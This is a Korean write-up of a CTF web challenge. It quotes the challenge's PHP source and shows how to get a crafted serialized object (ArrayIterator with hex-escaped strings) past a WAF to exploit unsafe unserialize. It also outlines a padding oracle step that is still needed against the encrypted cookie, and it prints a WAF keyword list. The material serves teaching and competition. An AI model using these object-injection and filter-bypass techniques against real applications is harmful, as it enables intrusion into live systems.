Description
What a shiawase Kokoro sunshine! We opened a new VR game shop just for you, Onii-chan!
Analysis & Exploit
페이지에 접속하면 소스에서 다음과 같은 주석을 볼 수 있다.
こんにちは Hacker-sama!
I decided to put some weebs instead of weeds. Currently, we are on a cutting-edge development.
There are too many bugs in here, so we decided to start a new bug bounty program.
For more information, please check out our security.txt!
Made with love, by the *kawaii* PHP scientist.
security.txt에 뭔가가 쓰여있다는 것이다.
security.txt는 버그헌터 및 보안 연구자가 해당 웹 서비스에 취약점을 발견하였을 때, 그 기업에게 전달하는 방법을 정의한 파일이다.(이는 현재 facebook, google 등 큰 기업에서는 시행되고 있다고 한다.(thanks to stypr))
해당파일의 경로는 다음과 같다.
/.well-known/security.txt
해당 경로를 열면 다음과 같은 내용이 나온다.
# security.txt Kawaii Edition
Contact: mailto:[email protected]
Encryption: file:///dev/urandom
Acknowledgements: http://46.101.223.33/
Policy: http://46.101.223.33/policy.txt
Signature: http://46.101.223.33/signature.txt
Hiring: file:///etc/passwd
./well-known 디렉토리를 보면 서버소스의 백업이 존재하는 것을 확인할 수 있다.
Index of /.well-known/
../
backup.tar.gz 11-Apr-2018 14:01 697884
nginx.txt 07-Apr-2018 14:59 1190
phpinfo.min.txt 07-Apr-2018 14:08 12968
security.txt 07-Apr-2018 14:01 246
backup.tar.gz 의 압축을 풀면 다음의 파일이 존재한다.
osehun:~/writeup/ctf/asis/2018/gameshop$ tree
.
├── backup.tar.gz
├── index.php
└── static
├── kawaii.css
├── nep-congrat.png
├── nep-gomen.png
├── nep-nope.png
├── nep-ok.png
├── nep-yasumu.png
├── nep.png
├── sticker.png
└── viir.jpg
1 directory, 11 files
우선은 index.php를 보도록 하자.
플래그는 3개의 클래스 Affimojas ,Uzume, Neptune 클래스의 소멸자에서 얻을 수 있으며 다음과 같다.
class Affimojas {
protected $dir = __SECU__;
private $path;
private $ban = 3600; // subsequent bantime from attacks
public function __destruct(){
$caller = get_class(debug_backtrace()[1]['object']);
if(in_array($caller, ["Neptune", "Uzume", "Affimojas"])){
if($this->flag == __FLAG__){
die(__FLAG__);
}
}else{
$this->add_count("Affimojas Mayday");
die("Too bad, it's not a good way to wake me up, Hacker-kun! (" . $this->get_count() . "/128)");
}
}
...
}
class Uzume {
public $flag = 0;
private $waf;
function __construct($flag){
$this->flag = $flag;
$this->waf = new Affimojas();
}
function __destruct(){
if(!is_array($this->flag) && !is_string($this->flag) && !is_null($this->flag)){
if((string)$this->flag['ASIS'] == "kawaii~"){
die(__FLAG__);
}
}
}
...
}
class Neptune {
protected $cipher = __CIPHER__;
private $username = "";
private $password = "";
private $coin = 0;
private $waf;
function __construct($username='', string $password=''){
if($this->username) return;
$this->username = $username;
$this->password = $password;
$this->waf = new Affimojas();
}
function __destruct(){
if(is_string($this->username) && is_string($this->password)){
if((string)$this->username == "Neptune"){
if((string)$this->password == sha1(__SALT__ . __SALT__)){
die(__FLAG__);
}
}
}
}
...
}
__destruct()를 이용해 공격하기 위해서는 보통 unserialize를 생각할 것이다.
이 문제 또한 Neptune 클래스의 verify 함수에 unserialize하는 부분이 존재하였다.
class Neptune {
...
function verify($session){
$iv = hex2bin(substr($session, 0, 32));
$ctext = hex2bin(substr($session, 32));
$ptext = @openssl_decrypt($ctext, $this->cipher, __SALT__, $options=OPENSSL_RAW_DATA, $iv=$iv);
if(!$ptext) $this->bye();
$v = @unserialize($this->waf->waf($ptext));
if(!$v){
$this->bye();
$this->waf->add_count('Malformed Session');
$this->bye();
}
foreach($v as $key => $val){
if(ctype_print($key)){
try{ $this->$key = $val; }catch(Exception $e){ return false; }
}
}
$auth = $this->_auth($this->username, $this->password);
if($auth === True){
return [$this->username, $this->password, $this->coin];
}else{
return false;
}
}
...
}
unserialize 전에 waf를 한번 거치는 것을 확인할 수 있으며 코드는 다음과 같다.
public function waf($data){
if($this->filter_trials()){
if(!$data){
$this->add_count("Malformed data");
die("Kono-yaro! Malformed data yamero~!!!!!");
}
$i = $this->filter_injection($data);
$s = $this->filter_session($i);
if(!$i || !$s){
$this->add_count($data);
die("Kono-Yaro! You cannot get me, hahaha!");
}else{
return $s;
}
}else{
die("Baka Onii-chan! You are blocked from access. Please wait for some time.");
}
}
filter_trials 함수는 공격 횟수를 카운트가 128회가 넘어갈 경우 죽어버린다.
공격 횟수는 filter_injection함수와 filter_session에 의해 필터링 될 경우 올라가게 된다.
private function filter_injection($data){
$filter = ['.', 'html', __FLAG__, 'bash', 'etc', 'proc', 'file:', 'user:', 'gopher:', 'http:', 'php', 'phtml'];
...
}
private function filter_session($data){
if(is_array($data)) return false;
$data = str_ireplace(";O:", ";s:", $data);
$secure_except = ';s:9:"Affimojas":3:';
if(substr_count($data, $secure_except) == 1){
$data = str_ireplace($secure_except, ';O:9:"Affimojas":3:', $data);
}
$filter = ['asis', 'admin', __FLAG__, 'kawaii', 'StdClass', 'Object', 'String'];
foreach($filter as $filter_check){
if(substr_count(strtolower($data), strtolower($filter_check)) > 0) return false;
}
$filter = ['"Uzume"', '"Neptune"', '"Affimojas"', 'Database"'];
foreach($filter as $filter_check){
if(substr_count(strtolower($data), strtolower($filter_check)) > 1) return false;
}
}
filter들을 우회하여 unserialize를 실행시키면 승리 !
if(!is_array($this->flag) && !is_string($this->flag) && !is_null($this->flag)){
if((string)$this->flag['ASIS'] == "kawaii~"){
die(__FLAG__);
}
}
플래그를 얻기 위한 조건을 보면 array, string, null이 아니면서 array이여야 한다. (?)
여기서 재밌는 트릭이 존재한다.(갓 PHP 찬양해라)
[ dump ]
- ArrayIterator
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(1) { ["shpik"]=> int(0) } }
C:13:"ArrayIterator":37:{x:i:0;a:1:{s:5:"shpik";i:0;};m:a:0:{}}
- ArrayObject
object(ArrayObject)#2 (1) { ["storage":"ArrayObject":private]=> array(1) { ["shpik"]=> int(0) } }
C:11:"ArrayObject":37:{x:i:0;a:1:{s:5:"shpik";i:0;};m:a:0:{}}
- Array
array(1) { ["shpik"]=> int(0) }
a:1:{s:5:"shpik";i:0;}
[ Operation ]
- ArrayIterator
[+] you're shpikgod
- ArrayObject
[+] you're shpikgod
- Array
[!] ERRORRRRRR
ArrayIterator와 ArrayObject는 Array와 같으면서 is_array함수에는 걸리지 않는다.
waf에 의해 필터링 되어있으므로, 이를 우회하기 위해 ArrayIterator을 이용 및 문자열 치환을 이용해 간단히 쿼리를 만들 수 있다.
O:5:"Uzume":1:{s:4:"flag";C:13:"ArrayIterator":41:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";}}}
이로써 문제는 해결될 것이다.
….인줄 알았는데 않이, 왜 camellia-256-CBC로 암호화가 되어 있는가..카멜리아?가 뭔진 모르겠지만 블록암호 CBC라는 건 알겠다. 이것은 오라클 패딩 각이다.
function save(){
global $key;
$iv = random_bytes(16);
$enc = bin2hex($iv) . bin2hex(openssl_encrypt(serialize($this), 'camellia-256-cbc', __SALT__, $options=OPENSSL_RAW_DATA, $iv));
setcookie("donmai", $value = $enc, $expire = time() + 86400 * 30, "/", $_SERVER['HTTP_HOST']);
}
즉 이 문제는 Oracle Padding + Unserialize 문제 인 것이다!
공격을 여러번 날리면 문제상 몇분동안(?) 블락을 당하는데, 그 블락이 아직도 유지되고 있어서 Oracle Padding을 수행하지 못하고 위와 같이 unserialize를 통해 플래그를 실행할 수 있다는 것까지만 라이트업을 작성하였다.